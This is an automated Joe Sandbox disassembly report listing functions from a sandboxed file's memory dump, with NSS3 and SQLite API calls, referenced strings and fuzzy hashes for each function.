Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction ID: be56037fdb2ff1a05655ef9e44743a1299fb140cc7d2d52e3cdada2fd10c6d1d
Opcode Fuzzy Hash: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction Fuzzy Hash: 6081D370B056019BEB19CF55C848BAAB7B1BF4130CF28C269D8155BB51D730EC42CB9E

Function 6C62DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C62DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DF78

Strings

database corruption, xrefs: 6C62DE5C, 6C62DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C62DE52, 6C62DE81
%s at line %d of [%.10s], xrefs: 6C62DE61, 6C62DE90

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction ID: 2f12b7cc26fb298577bf98f13595c783b8ad253f4254afced5542b85ccfb23c2
Opcode Fuzzy Hash: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction Fuzzy Hash: BD81D4717047009FD714CF25C884BAA77F1AF85308F14882DE99A8BB91E739E945CF5A

Function 6C5DCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5DB999), ref: 6C5DD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5DB999), ref: 6C72972B

Strings

database corruption, xrefs: 6C5DCFE7, 6C5DD013, 6C5DD028, 6C5DD039, 6C5DD03E, 6C729786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DCFDD, 6C5DD00E, 6C5DD022, 6C5DD033, 6C729780
%s at line %d of [%.10s], xrefs: 6C5DCFEC, 6C5DD018, 6C5DD029, 6C5DD03F, 6C72978B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction ID: a556edb3257586714ef7d9196c33a5a27a4af73a80c9416bb13600be2b843125
Opcode Fuzzy Hash: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction Fuzzy Hash: AD613671A003108BD310CF29CD40BA7B7E5EF95318F2945ADE4889BB42E376E946C7A5

Function 6C6DFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6E0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6E015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6E01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6E0202
free.MOZGLUE(?), ref: 6C6E0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0253

Strings

exporter, xrefs: 6C6E00F7

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction ID: e00dab8dafabfb761cd747737300dec7d2caa981533164d335d0d132ce2cb585
Opcode Fuzzy Hash: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction Fuzzy Hash: FE613371D0A3899BEF018FA4CC04BEE73B6FF4930CF14452AE91A5A661EB319954DB48

Function 6C6B4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C6B536F,00000022,?,?,00000000,?), ref: 6C6B4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C6B4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C6B4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C6B4FAE
free.MOZGLUE(?), ref: 6C6B4FC8

Strings

%s=%s, xrefs: 6C6B4F89
%s=%c%s%c, xrefs: 6C6B4FA9
oSkl", xrefs: 6C6B4DFB, 6C6B4EF4, 6C6B4EC5

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSkl"
API String ID: 2709355791-1689580949
Opcode ID: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction ID: a7f36f5b1f10008e451f27248ddb2f92d77968af8bce7bdb8b7c384813588b39
Opcode Fuzzy Hash: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction Fuzzy Hash: 6F516A71A051568BEF01CA69C4907FF7BF99F82348F188125F894B7B41D375882787A9

Function 6C6DEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEF6D

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

htonl.WSOCK32(00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFE4
htonl.WSOCK32(?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFF1
memcpy.VCRUNTIME140(?,?,6C6FA4A1,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF027

Strings

dtls13, xrefs: 6C6DEF33

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction ID: ecd8c5e6668204c506d718739335e40a612b500885558402c1543b237c6032f5
Opcode Fuzzy Hash: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction Fuzzy Hash: B231F471A01215AFCB10DF28DC84B9AB7E4EF49348F168029EC189B751E731F915CBEA

Function 6C65AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C65AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C779500,6C653F91), ref: 6C65AFD2

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

DER_GetInteger_Util.NSS3(?), ref: 6C65B007

Part of subcall function 6C6A6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C651666,?,6C65B00C,?), ref: 6C6A6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C65B02F
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C65B046
PL_FreeArenaPool.NSS3 ref: 6C65B058
PL_FinishArenaPool.NSS3 ref: 6C65B060

Strings

security, xrefs: 6C65AFB8

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction ID: 1fd20ca1fcb72f99faedad4d98bafb37a15329d6935a2108ad0f7f5a6510a230
Opcode Fuzzy Hash: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction Fuzzy Hash: 893134714043009BDB108F28DC45BAA77A4AFC632CF640618F9B5ABBD1E3329519CB9F

Function 6C653E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
PL_FreeArenaPool.NSS3 ref: 6C653F14
PL_FinishArenaPool.NSS3 ref: 6C653F1C

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Strings

security, xrefs: 6C653EBC

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction ID: c5d02ec50858d65f4381e95fc662b75ef7a264a6aa8cfa4c344122c18e77512d
Opcode Fuzzy Hash: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction Fuzzy Hash: C521F8B1904304ABD3148B15AC41FAB77A8FF8971CF44053DF949A7B41E731DA28879E

Function 6C68ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C68ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AD23

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AD39

Strings

hSession = 0x%x, xrefs: 6C68ACFE, 6C68AD0E
(CK_INVALID_HANDLE), xrefs: 6C68AD1C
nvl, xrefs: 6C68AD51, 6C68AD7B
C_MessageDecryptFinal, xrefs: 6C68ACE1

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nvl
API String ID: 332880674-330980815
Opcode ID: 5d923c4cd5bed18b10add13453d4df680dff935014f3639c1a514e10046f296f
Instruction ID: ba6031fb8856be6d5744ec77cf8d1ff17a54fd97165969be7e65d26683861df6
Opcode Fuzzy Hash: 5d923c4cd5bed18b10add13453d4df680dff935014f3639c1a514e10046f296f
Instruction Fuzzy Hash: 4621D7716021589FDB109F64DE8CFAA37B5AB4631DF044435ED09EBB92DB309908C7AE

Function 6C69CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C69CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C69CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C69D079

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction ID: 0b0718d146fefe746c59d6b7c5bac8e0647e81cdee7405995bb58c41f2e834b5
Opcode Fuzzy Hash: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction Fuzzy Hash: 6DC18FB1A0021A9BDB10CF24CC80BDAB7B4BF49318F1441A8E94DA7741E775EE95CF98

Function 6C68DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6997C1,?,00000000,00000000,?,?,?,00000000,?,6C677F4A,00000000), ref: 6C68DC68

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DFAA

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: dc99fdfab89ac34ec3fa86b40dd7bb153d0672a5ef2d7a9d7c5f25918647dc43
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 7781C2706076038BFF144A19C8987A976E6DB65348F20843BE919CAFE1D774C4C6C67E

Function 6C663C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C663C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C663C94

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PORT_NewArena_Util.NSS3(00000800), ref: 6C663CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C663CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C663CE1

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction ID: c364a33a162b3cab99782b30ceca638fd2c88498a007c7874a8616c89b6714d6
Opcode Fuzzy Hash: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction Fuzzy Hash: 0961C4B1A00201BBEB105F66DC45FA776B9EF05748F084439ED059AA52F731D815C7BA

Function 6C6A3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32 ref: 6C6A3D8B
